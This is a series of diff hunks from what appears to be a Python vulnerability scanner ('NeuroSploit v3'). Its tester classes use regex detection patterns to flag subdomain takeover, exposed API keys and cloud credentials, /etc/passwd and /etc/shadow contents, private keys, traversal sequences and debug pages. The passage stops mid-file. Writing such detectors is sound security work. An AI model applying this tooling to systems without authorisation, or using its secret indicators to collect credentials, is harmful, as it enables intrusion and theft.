# AWS S3
(r"NoSuchBucket", "S3 bucket - NoSuchBucket"),
(r"The specified bucket does not exist", "S3 bucket does not exist"),
# GitHub Pages
(r"There isn't a GitHub Pages site here", "GitHub Pages - unclaimed"),
(r"For root URLs.*GitHub Pages", "GitHub Pages not configured"),
# Heroku
(r"No such app", "Heroku - app not found"),
(r"herokucdn\.com/error-pages/no-such-app", "Heroku - no such app"),
# Shopify
(r"Sorry, this shop is currently unavailable", "Shopify - shop unavailable"),
# Tumblr
(r"There's nothing here\.", "Tumblr - unclaimed"),
(r"Whatever you were looking for doesn't currently exist", "Tumblr not found"),
# WordPress.com
(r"Do you want to register.*wordpress\.com", "WordPress.com - unclaimed"),
# Azure
(r"404 Web Site not found", "Azure - web app not found"),
# Fastly
(r"Fastly error: unknown domain", "Fastly - unknown domain"),
# Pantheon
(r"404 error unknown site", "Pantheon - unknown site"),
# Zendesk
(r"Help Center Closed", "Zendesk - closed"),
# Unbounce
(r"The requested URL was not found on this server.*unbounce", "Unbounce - not found"),
# Surge.sh
(r"project not found", "Surge.sh - not found"),
# Fly.io
(r"404.*fly\.io", "Fly.io - not found"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for cloud provider error pages indicating takeover opportunity"""
for pattern, description in self.takeover_fingerprints:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Subdomain takeover: {description}"
# CNAME pointing to unclaimed resource
if context.get("cname_target"):
cname = context["cname_target"]
unclaimed_domains = [
".s3.amazonaws.com", ".herokuapp.com", ".github.io",
".azurewebsites.net", ".cloudfront.net", ".fastly.net",
".ghost.io", ".myshopify.com", ".surge.sh",
]
for domain in unclaimed_domains:
if cname.endswith(domain) and response_status in [404, 0]:
return True, 0.85, f"Subdomain takeover: CNAME to {cname} returns {response_status}"
# NXDOMAIN with CNAME
if context.get("dns_nxdomain") and context.get("has_cname"):
return True, 0.8, "Subdomain takeover: CNAME exists but target domain is NXDOMAIN"
return False, 0.0, None
class VulnerableDependencyTester(BaseTester):
"""Tester for Vulnerable Dependency detection"""
def __init__(self):
super().__init__()
self.name = "vulnerable_dependency"
self.vulnerable_libs = [
# JavaScript
(r"jquery[/.-](?:1\.\d+|2\.\d+|3\.[0-4]\.\d+)", "jQuery < 3.5.0 (XSS)"),
(r"angular[/.-]1\.[0-5]\.\d+", "AngularJS < 1.6 (sandbox escape)"),
(r"lodash[/.-](?:[0-3]\.\d+|4\.(?:1[0-6]|[0-9])\.\d+)", "Lodash < 4.17.21 (prototype pollution)"),
(r"bootstrap[/.-](?:[1-3]\.\d+|4\.[0-3]\.\d+)", "Bootstrap < 4.3.1 (XSS)"),
(r"moment[/.-](?:[01]\.\d+|2\.(?:[0-9]|1[0-8])\.\d+)", "Moment.js < 2.19.3 (ReDoS)"),
(r"handlebars[/.-](?:[0-3]\.\d+|4\.[0-6]\.\d+)", "Handlebars < 4.7.7 (prototype pollution)"),
# Python
(r"Django[/=](?:1\.\d+|2\.[01]\.\d+|3\.0\.\d+)", "Django < 3.1 (multiple CVEs)"),
(r"Flask[/=](?:0\.\d+|1\.[01]\.\d+)", "Flask < 2.0 (known issues)"),
(r"requests[/=]2\.(?:[0-9]|1\d|2[0-4])\.\d+", "Requests < 2.25 (CVE-2023-32681)"),
# Java
(r"log4j[/-]2\.(?:[0-9]|1[0-4])\.\d+", "Log4j < 2.15 (Log4Shell CVE-2021-44228)"),
(r"spring-core[/-](?:[1-4]\.\d+|5\.[0-2]\.\d+)", "Spring < 5.3 (Spring4Shell)"),
(r"jackson-databind[/-]2\.(?:[0-8]|9\.[0-9])\.\d*", "Jackson < 2.9.10 (deserialization)"),
# PHP
(r"laravel/framework[/:]\s*v?(?:[1-7]\.\d+|8\.[0-7]\d)", "Laravel < 8.80 (known issues)"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for known vulnerable library version strings"""
findings = []
# Check response body (JS files, package.json, error pages)
for pattern, description in self.vulnerable_libs:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
findings.append(f"{match.group(0)} - {description}")
# Check headers for version info
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
for pattern, description in self.vulnerable_libs:
match = re.search(pattern, headers_str, re.IGNORECASE)
if match and description not in str(findings):
findings.append(f"{match.group(0)} - {description}")
if findings:
# Log4Shell and Spring4Shell are critical
critical = any(k in f for f in findings for k in ["Log4Shell", "Spring4Shell", "deserialization"])
confidence = 0.9 if critical else 0.75
return True, confidence, f"Vulnerable dependency: {'; '.join(findings[:3])}"
return False, 0.0, None
class ContainerEscapeTester(BaseTester):
"""Tester for Container Escape / Container Misconfiguration vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "container_escape"
self.container_indicators = [
# Docker
(r"\.dockerenv", "Docker environment file accessible"),
(r"docker\.sock", "Docker socket exposed"),
(r"/var/run/docker\.sock", "Docker socket path"),
# Cgroup
(r"docker[/-][0-9a-f]{12,64}", "Docker container cgroup"),
(r"/proc/self/cgroup.*docker", "Docker cgroup detected"),
(r"/proc/self/cgroup.*kubepods", "Kubernetes pod cgroup"),
# Kubernetes
(r"KUBERNETES_SERVICE_HOST", "Kubernetes service host env"),
(r"KUBERNETES_PORT", "Kubernetes port env"),
(r"/var/run/secrets/kubernetes\.io", "Kubernetes secrets path"),
(r"serviceaccount/token", "Kubernetes service account token"),
(r"kube-system", "Kubernetes system namespace"),
# Container runtime
(r"containerd", "containerd runtime"),
(r"runc", "runc runtime"),
# Process namespace
(r"process\s+1\b.*(?:init|systemd|tini|dumb-init)", "Container init process"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for Docker/container indicators in response"""
findings = []
for pattern, description in self.container_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
findings.append(description)
if findings:
# Docker socket or K8s secrets are critical
critical = any(k in f for f in findings for k in ["socket", "secrets", "token"])
confidence = 0.9 if critical else 0.7
return True, confidence, f"Container exposure: {', '.join(findings[:3])}"
# Privileged container detection
if context.get("is_capability_check"):
# Check for extra capabilities
cap_patterns = [
r"cap_sys_admin", r"cap_sys_ptrace", r"cap_net_admin",
r"cap_dac_override", r"cap_sys_rawio",
]
for pattern in cap_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, f"Privileged container: {pattern} capability detected"
# Mount namespace check
if re.search(r"/dev/(?:sda|xvda|nvme)\d*\s", response_body):
return True, 0.6, "Host block devices visible from container"
return False, 0.0, None
class ServerlessMisconfigTester(BaseTester):
"""Tester for Serverless Misconfiguration vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "serverless_misconfig"
self.env_patterns = [
# AWS Lambda
(r"AWS_LAMBDA_FUNCTION_NAME\s*[=:]\s*(\S+)", "Lambda function name"),
(r"AWS_SECRET_ACCESS_KEY\s*[=:]\s*(\S+)", "Lambda AWS secret key"),
(r"AWS_SESSION_TOKEN\s*[=:]\s*(\S+)", "Lambda session token"),
(r"AWS_LAMBDA_LOG_GROUP_NAME", "Lambda log group"),
(r"_HANDLER\s*[=:]\s*(\S+)", "Lambda handler path"),
(r"LAMBDA_TASK_ROOT\s*[=:]\s*(\S+)", "Lambda task root"),
(r"AWS_EXECUTION_ENV\s*[=:]\s*(\S+)", "Lambda execution environment"),
# Google Cloud Functions
(r"FUNCTION_NAME\s*[=:]\s*(\S+)", "Cloud Function name"),
(r"GCLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project ID"),
(r"GOOGLE_CLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
(r"GCP_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
(r"FUNCTION_REGION\s*[=:]\s*(\S+)", "Cloud Function region"),
# Azure Functions
(r"FUNCTIONS_WORKER_RUNTIME\s*[=:]\s*(\S+)", "Azure Function runtime"),
(r"AzureWebJobsStorage\s*[=:]\s*(\S+)", "Azure storage connection string"),
(r"WEBSITE_SITE_NAME\s*[=:]\s*(\S+)", "Azure site name"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for serverless environment variable exposure"""
findings = []
for pattern, description in self.env_patterns:
match = re.search(pattern, response_body)
if match:
value = match.group(1) if match.lastindex else ""
# Redact sensitive values
if "key" in description.lower() or "token" in description.lower() or "secret" in description.lower():
display = f"{description} (REDACTED)"
else:
display = f"{description}: {value[:30]}"
findings.append(display)
if findings:
# Credentials are critical
critical = any(k in f for f in findings for k in ["secret", "token", "REDACTED"])
confidence = 0.95 if critical else 0.75
return True, confidence, f"Serverless misconfiguration: {', '.join(findings[:3])}"
# Function source code exposure
if context.get("is_source_request"):
source_indicators = [
r"exports\.handler\s*=", r"def lambda_handler\(",
r"def main\(req:", r"module\.exports",
r"def hello_http\(request\):",
]
for pattern in source_indicators:
if re.search(pattern, response_body):
return True, 0.8, "Serverless misconfiguration: function source code exposed"
# Invocation error details
error_patterns = [
r"\"errorType\"\s*:\s*\"(\w+)\"",
r"\"stackTrace\"\s*:\s*\[",
r"Runtime\.HandlerNotFound",
r"\"errorMessage\"\s*:\s*\".*(?:import|require|module)",
]
for pattern in error_patterns:
match = re.search(pattern, response_body)
if match:
return True, 0.7, f"Serverless misconfiguration: detailed error exposed ({match.group(0)[:60]})"
return False, 0.0, None
@@ -0,0 +1,388 @@
"""
NeuroSploit v3 - Data Exposure Vulnerability Testers
Testers for sensitive data exposure, information disclosure, API key exposure,
source code disclosure, backup file exposure, and version disclosure.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class SensitiveDataExposureTester(BaseTester):
"""Tester for Sensitive Data Exposure (PII leakage)"""
def __init__(self):
super().__init__()
self.name = "sensitive_data_exposure"
self.pii_patterns = [
# SSN (US)
(r"\b\d{3}-\d{2}-\d{4}\b", "SSN pattern"),
# Credit card numbers (Visa, MC, Amex, Discover)
(r"\b4\d{3}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Visa card number"),
(r"\b5[1-5]\d{2}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "MasterCard number"),
(r"\b3[47]\d{2}[\s-]?\d{6}[\s-]?\d{5}\b", "Amex card number"),
(r"\b6(?:011|5\d{2})[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Discover card number"),
# Email addresses in bulk (10+ suggests a data leak)
(r"[\w.+-]+@[\w-]+\.[\w.-]+", "email address"),
# Phone numbers (US format)
(r"\b\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4}\b", "phone number"),
# Passport numbers
(r"\b[A-Z]\d{8}\b", "passport number pattern"),
# Private keys
(r"-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----", "private key"),
# Password hashes
(r"\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}", "bcrypt hash"),
(r"\b[a-f0-9]{32}\b", "MD5 hash"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for PII patterns in response"""
if response_status >= 400:
return False, 0.0, None
findings = []
for pattern, description in self.pii_patterns:
matches = re.findall(pattern, response_body)
if matches:
# Private keys and password hashes are always significant
if "private key" in description:
return True, 0.95, f"Sensitive data exposure: {description} found in response"
if "bcrypt hash" in description:
return True, 0.9, f"Sensitive data exposure: {description} found in response"
# For patterns like emails, phone numbers - check for bulk exposure
if description in ["email address", "phone number"]:
if len(matches) >= 5:
findings.append(f"{len(matches)} {description}s")
elif description == "MD5 hash":
if len(matches) >= 3:
findings.append(f"{len(matches)} {description}es")
else:
findings.append(f"{description} ({matches[0][:20]}...)")
if findings:
confidence = min(0.9, 0.6 + 0.1 * len(findings))
return True, confidence, f"Sensitive data exposure: {', '.join(findings[:3])}"
return False, 0.0, None
class InformationDisclosureTester(BaseTester):
"""Tester for Information Disclosure vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "information_disclosure"
self.disclosure_patterns = [
# Server version headers
(r"Server:\s*(.+)", "header", "Server version"),
(r"X-Powered-By:\s*(.+)", "header", "Technology stack"),
(r"X-AspNet-Version:\s*(.+)", "header", "ASP.NET version"),
(r"X-AspNetMvc-Version:\s*(.+)", "header", "ASP.NET MVC version"),
]
self.body_patterns = [
# Path disclosure
(r"(?:/var/www|/home/\w+|/srv/|/opt/\w+|C:\\inetpub|C:\\Users\\\w+)[/\\]\S+", "Internal path"),
# Stack traces
(r"Traceback \(most recent call last\)", "Python stack trace"),
(r"at \w+\.\w+\([\w.]+:\d+\)", "Java stack trace"),
(r"(?:Fatal error|Warning|Notice):\s+.*\sin\s+/\S+\s+on line \d+", "PHP error with path"),
(r"Microsoft \.NET Framework Version:\d+", ".NET framework version"),
# Database info
(r"(?:MySQL|PostgreSQL|Oracle|MSSQL)\s+\d+\.\d+", "Database version"),
# Debug info
(r"(?:DEBUG|TRACE)\s*=\s*(?:true|True|1)", "Debug mode enabled"),
(r"(?:SECRET_KEY|DB_PASSWORD|API_SECRET)\s*[=:]\s*\S+", "Secret in debug output"),
# Internal IPs
(r"\b(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})\b", "Internal IP address"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for information disclosure in headers and body"""
findings = []
# Check headers
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
for pattern, location, description in self.disclosure_patterns:
match = re.search(pattern, headers_str, re.IGNORECASE)
if match:
findings.append(f"{description}: {match.group(1)[:50]}")
# Check body
for pattern, description in self.body_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
findings.append(f"{description}: {match.group(0)[:80]}")
if findings:
# Stack traces and secrets are higher severity
high_severity = any("stack trace" in f.lower() or "secret" in f.lower() or "debug" in f.lower() for f in findings)
confidence = 0.85 if high_severity else 0.7
return True, confidence, f"Information disclosure: {'; '.join(findings[:3])}"
return False, 0.0, None
class ApiKeyExposureTester(BaseTester):
"""Tester for API Key Exposure vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "api_key_exposure"
self.key_patterns = [
# AWS
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
(r"(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*[A-Za-z0-9/+=]{40}", "AWS Secret Key"),
# Google
(r"AIza[0-9A-Za-z\-_]{35}", "Google API Key"),
(r"ya29\.[0-9A-Za-z\-_]+", "Google OAuth Token"),
# Stripe
(r"sk_live_[0-9a-zA-Z]{24,}", "Stripe Secret Key"),
(r"pk_live_[0-9a-zA-Z]{24,}", "Stripe Publishable Key"),
(r"rk_live_[0-9a-zA-Z]{24,}", "Stripe Restricted Key"),
# GitHub
(r"gh[pousr]_[A-Za-z0-9_]{36,}", "GitHub Token"),
# Slack
(r"xox[baprs]-[0-9]{10,13}-[0-9]{10,13}[a-zA-Z0-9-]*", "Slack Token"),
# Twilio
(r"SK[0-9a-fA-F]{32}", "Twilio API Key"),
# SendGrid
(r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}", "SendGrid API Key"),
# Heroku
(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", "Heroku API Key / UUID"),
# Generic patterns
(r"(?:api[_-]?key|apikey|api[_-]?secret)\s*[=:]\s*['\"]?([A-Za-z0-9_\-]{20,})['\"]?", "Generic API Key"),
(r"(?:access[_-]?token|auth[_-]?token)\s*[=:]\s*['\"]?([A-Za-z0-9_\-.]{20,})['\"]?", "Access Token"),
# Bearer tokens in JS
(r"['\"]Bearer\s+[A-Za-z0-9_\-\.]{20,}['\"]", "Hardcoded Bearer Token"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for API key patterns in response"""
findings = []
for pattern, description in self.key_patterns:
matches = re.findall(pattern, response_body)
if matches:
# Skip UUIDs unless in specific context (too many false positives)
if "UUID" in description:
continue
# Redact the actual key in evidence
sample = matches[0] if isinstance(matches[0], str) else matches[0]
redacted = sample[:8] + "..." + sample[-4:] if len(sample) > 12 else sample[:4] + "..."
findings.append(f"{description} ({redacted})")
if findings:
# AWS/Stripe secret keys are critical
critical = any(k in f for f in findings for k in ["AWS Secret", "Stripe Secret", "Secret Key"])
confidence = 0.95 if critical else 0.85
return True, confidence, f"API key exposure: {', '.join(findings[:3])}"
return False, 0.0, None
class SourceCodeDisclosureTester(BaseTester):
"""Tester for Source Code Disclosure vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "source_code_disclosure"
self.source_indicators = [
# Git
(r"\[core\]\s*\n\s*repositoryformatversion", "Git config exposed"),
(r"\[remote \"origin\"\]", "Git config with remote"),
(r"ref: refs/heads/", "Git HEAD reference exposed"),
# Source maps
(r"\"version\"\s*:\s*3,\s*\"sources\"", "JavaScript source map"),
(r"//[#@]\s*sourceMappingURL=", "Source map reference"),
# PHP source
(r"<\?php\s", "PHP source code"),
(r"<\?=", "PHP short tag source"),
# Python source
(r"^(?:import |from \w+ import |def \w+\(|class \w+)", "Python source code"),
# Java/JSP
(r"<%@?\s*page\s+", "JSP source code"),
(r"package\s+\w+\.\w+;", "Java package declaration"),
# Environment files
(r"(?:DB_PASSWORD|SECRET_KEY|DATABASE_URL)\s*=\s*\S+", "Environment file content"),
# Composer/package files with private repos
(r"\"require\".*\"private/", "Private package reference"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for source code indicators in response"""
if response_status >= 400:
return False, 0.0, None
for pattern, description in self.source_indicators:
match = re.search(pattern, response_body, re.MULTILINE)
if match:
# Git config is high confidence
if "Git" in description:
return True, 0.95, f"Source code disclosure: {description}"
# Environment file is critical
if "Environment" in description:
return True, 0.95, f"Source code disclosure: {description}"
# Source maps lower confidence (often intentional)
if "source map" in description.lower():
return True, 0.6, f"Source code disclosure: {description}"
return True, 0.8, f"Source code disclosure: {description}"
# Check for common source file access patterns
source_paths = [".git/config", ".env", ".htaccess", "web.config",
"wp-config.php", "config.php", "settings.py"]
for path in source_paths:
if path in payload and response_status == 200 and len(response_body) > 50:
return True, 0.7, f"Source code disclosure: {path} accessible"
return False, 0.0, None
class BackupFileExposureTester(BaseTester):
"""Tester for Backup File Exposure vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "backup_file_exposure"
self.file_signatures = [
# SQL dumps
(r"-- MySQL dump \d+", "MySQL database dump"),
(r"-- PostgreSQL database dump", "PostgreSQL database dump"),
(r"CREATE TABLE\s+[`\"]\w+[`\"]", "SQL DDL statements"),
(r"INSERT INTO\s+[`\"]\w+[`\"]", "SQL data dump"),
# Archive signatures (in text responses)
(r"PK\x03\x04", "ZIP archive"),
# Tar
(r"ustar\s", "TAR archive"),
# Config backups
(r"<\?xml.*<configuration>", "XML configuration backup"),
(r"server\s*\{[^}]*listen\s+\d+", "Nginx config backup"),
(r"<VirtualHost\s+", "Apache config backup"),
]
self.backup_extensions = [
".bak", ".backup", ".old", ".orig", ".save",
".swp", ".swo", ".tmp", ".temp", ".copy",
"~", ".sql", ".tar.gz", ".zip", ".dump",
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for backup file content in response"""
if response_status >= 400:
return False, 0.0, None
# Check file signatures
for pattern, description in self.file_signatures:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Backup file exposure: {description} detected"
# Check if backup extension in request returned content
for ext in self.backup_extensions:
if ext in payload and response_status == 200 and len(response_body) > 100:
headers_lower = {k.lower(): v for k, v in response_headers.items()}
content_type = headers_lower.get("content-type", "").lower()
# Non-HTML responses to backup file requests are suspicious
if "text/html" not in content_type:
return True, 0.75, f"Backup file exposure: {ext} file served ({content_type})"
# HTML response but contains code-like content
if re.search(r"(?:function |class |import |require\(|define\()", response_body):
return True, 0.7, f"Backup file exposure: {ext} file contains source code"
return False, 0.0, None
class VersionDisclosureTester(BaseTester):
"""Tester for Version Disclosure mapping to known CVEs"""
def __init__(self):
super().__init__()
self.name = "version_disclosure"
# Software versions with known critical CVEs
self.vulnerable_versions = {
r"Apache/2\.4\.49\b": "CVE-2021-41773 (path traversal)",
r"Apache/2\.4\.50\b": "CVE-2021-42013 (path traversal bypass)",
r"nginx/1\.(?:[0-9]|1[0-7])\.\d+": "Potential nginx < 1.18 vulnerabilities",
r"PHP/(?:5\.\d|7\.[0-3])\.\d+": "Outdated PHP version with known CVEs",
r"OpenSSL/1\.0\.\d": "OpenSSL 1.0.x - multiple known CVEs",
r"jQuery/(?:1\.\d|2\.\d|3\.[0-4])\.\d+": "jQuery < 3.5 - XSS via htmlPrefilter",
r"WordPress/(?:[1-4]\.\d|5\.[0-7])": "Outdated WordPress version",
r"Drupal/(?:[1-7]\.\d|8\.[0-5])": "Outdated Drupal version",
r"Rails/(?:[1-4]\.\d|5\.[01])": "Outdated Rails version",
r"Spring Framework/(?:[1-4]\.\d|5\.[0-2])": "Outdated Spring version",
r"Express/(?:[1-3]\.\d|4\.(?:1[0-6]))": "Outdated Express.js version",
r"Django/(?:1\.\d|2\.[01]|3\.0)": "Outdated Django version",
r"Log4j.(?:2\.(?:0|1[0-4])\.\d)": "CVE-2021-44228 (Log4Shell)",
r"Tomcat/(?:[1-8]\.\d|9\.[0-3]\d\.\d)": "Potentially outdated Tomcat",
r"IIS/(?:[1-9]\.0|10\.0)": "IIS version disclosure",
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for version strings mapping to known CVEs"""
# Combine headers and body for scanning
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
full_text = headers_str + "\n" + response_body
findings = []
for pattern, cve_info in self.vulnerable_versions.items():
match = re.search(pattern, full_text, re.IGNORECASE)
if match:
version_str = match.group(0)
findings.append(f"{version_str} - {cve_info}")
if findings:
# Known CVEs are high confidence
has_cve = any("CVE-" in f for f in findings)
confidence = 0.9 if has_cve else 0.7
return True, confidence, f"Version disclosure: {'; '.join(findings[:3])}"
# Generic version disclosure in Server header
headers_lower = {k.lower(): v for k, v in response_headers.items()}
server = headers_lower.get("server", "")
if re.search(r"/\d+\.\d+", server):
return True, 0.5, f"Version disclosure in Server header: {server}"
return False, 0.0, None
@@ -201,3 +201,156 @@ class FileUploadTester(BaseTester):
return True, 0.8, "Executable file path returned - possible RCE"
return False, 0.0, None
class ArbitraryFileReadTester(BaseTester):
"""Tester for Arbitrary File Read vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "arbitrary_file_read"
self.sensitive_file_patterns = {
# /etc/passwd format
r"root:.*:0:0:": "/etc/passwd",
r"daemon:.*:\d+:\d+:": "/etc/passwd",
r"nobody:.*:\d+:\d+:": "/etc/passwd",
# .env file patterns
r"(?:DB_PASSWORD|DATABASE_URL|SECRET_KEY|API_KEY|APP_SECRET)\s*=": ".env file",
r"(?:AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY)\s*=": ".env file (AWS credentials)",
# SSH key headers
r"-----BEGIN (?:RSA |DSA |EC |OPENSSH )?PRIVATE KEY-----": "SSH/TLS private key",
r"-----BEGIN CERTIFICATE-----": "TLS certificate",
# Shadow file
r"root:\$[0-9a-z]+\$": "/etc/shadow",
# Config files
r"<\?php.*\$db": "PHP config with DB credentials",
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for sensitive file contents in response"""
for pattern, file_desc in self.sensitive_file_patterns.items():
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, f"Arbitrary file read confirmed: {file_desc} content detected"
# Check for base64-encoded sensitive content
base64_pattern = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', response_body)
for b64_match in base64_pattern[:5]: # Check first 5 matches
try:
import base64
decoded = base64.b64decode(b64_match).decode('utf-8', errors='ignore')
if re.search(r"root:.*:0:0:", decoded) or re.search(r"-----BEGIN.*PRIVATE KEY-----", decoded):
return True, 0.9, "Arbitrary file read: Base64-encoded sensitive file content"
except Exception:
pass
return False, 0.0, None
class ArbitraryFileDeleteTester(BaseTester):
"""Tester for Arbitrary File Delete vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "arbitrary_file_delete"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for successful file deletion indicators"""
body_lower = response_body.lower()
# Check for explicit deletion success messages
delete_success_patterns = [
r"file\s+(?:has been\s+)?(?:deleted|removed)\s+successfully",
r"(?:deleted|removed)\s+successfully",
r'"success"\s*:\s*true.*(?:delet|remov)',
r'"status"\s*:\s*"(?:deleted|removed)"',
r'"message"\s*:\s*".*(?:deleted|removed).*"',
]
for pattern in delete_success_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.85, "Arbitrary file delete: Deletion success confirmed in response"
# Check for 200/204 on DELETE request with traversal path
traversal_indicators = ["../", "..\\", "%2e%2e", "..%2f", "..%5c"]
has_traversal = any(t in payload.lower() for t in traversal_indicators)
if has_traversal:
if response_status == 204:
return True, 0.8, "Arbitrary file delete: 204 No Content after path traversal delete"
if response_status == 200:
return True, 0.7, "Arbitrary file delete: 200 OK after path traversal delete request"
# Check for file-not-found on subsequent access (context-based)
if context.get("follow_up_status") == 404:
return True, 0.85, "Arbitrary file delete: File not found after deletion request"
return False, 0.0, None
class ZipSlipTester(BaseTester):
"""Tester for Zip Slip (path traversal in archive extraction)"""
def __init__(self):
super().__init__()
self.name = "zip_slip"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for path traversal in archive extraction"""
body_lower = response_body.lower()
# Check for traversal path acceptance in response
traversal_patterns = [
r"\.\./\.\./\.\./",
r"\.\.\\\.\.\\\.\.\\",
r"%2e%2e%2f",
r"%2e%2e/",
]
for pattern in traversal_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
# Traversal path echoed in response
if response_status in [200, 201]:
return True, 0.8, "Zip Slip: Path traversal sequence accepted in archive extraction"
# Check for successful extraction with traversal payload
if response_status in [200, 201]:
extraction_success = [
r"extract(?:ed|ion)\s+(?:successful|complete)",
r"(?:file|archive)\s+(?:uploaded|processed)\s+successfully",
r'"extracted"\s*:\s*true',
r'"files"\s*:\s*\[.*\.\./.*\]',
]
for pattern in extraction_success:
if re.search(pattern, response_body, re.IGNORECASE):
if any(t in payload for t in ["../", "..\\", "%2e%2e"]):
return True, 0.85, "Zip Slip: Archive with traversal paths extracted successfully"
# Check for file written outside expected directory
overwrite_indicators = [
r"(?:overwr(?:ote|itten)|replaced)\s+.*(?:/etc/|/var/|/tmp/|C:\\)",
r"(?:created|wrote)\s+.*\.\./",
]
for pattern in overwrite_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, "Zip Slip: File written outside extraction directory"
return False, 0.0, None
@@ -150,3 +150,360 @@ class HTTPMethodsTester(BaseTester):
return True, 0.6, f"{payload} method accepted"
return False, 0.0, None
class DirectoryListingTester(BaseTester):
"""Tester for Directory Listing exposure"""
def __init__(self):
super().__init__()
self.name = "directory_listing"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for directory listing patterns"""
if response_status == 200:
listing_patterns = [
r"<title>Index of\s*/",
r"Index of\s*/",
r"<h1>Index of",
r"Directory listing for\s*/",
r"<title>Directory listing",
r'<a\s+href="\.\./">\.\./</a>',
r"Parent Directory</a>",
r'\[DIR\]',
r'\[TXT\]',
r"<pre>.*<a href=",
]
for pattern in listing_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, "Directory listing: Server directory contents exposed"
# Check for Apache/Nginx-specific listing
if re.search(r'<address>Apache/[\d.]+ .* Server at', response_body, re.IGNORECASE):
if "Index of" in response_body:
return True, 0.95, "Directory listing: Apache directory listing enabled"
return False, 0.0, None
class DebugModeTester(BaseTester):
"""Tester for Debug Mode/Page exposure"""
def __init__(self):
super().__init__()
self.name = "debug_mode"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for debug pages, stack traces with source paths"""
# Werkzeug/Flask debugger
werkzeug_patterns = [
r"Werkzeug\s+Debugger",
r"werkzeug\.debug",
r"<div class=\"debugger\">",
r"The debugger caught an exception",
r"__debugger__",
]
for pattern in werkzeug_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, "Debug mode: Werkzeug interactive debugger exposed (RCE risk)"
# Laravel debug
laravel_patterns = [
r"Whoops!.*Laravel",
r"Ignition\s",
r"vendor/laravel",
r"Laravel.*Exception",
r"app/Http/Controllers",
]
for pattern in laravel_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, "Debug mode: Laravel debug page exposed"
# Django debug
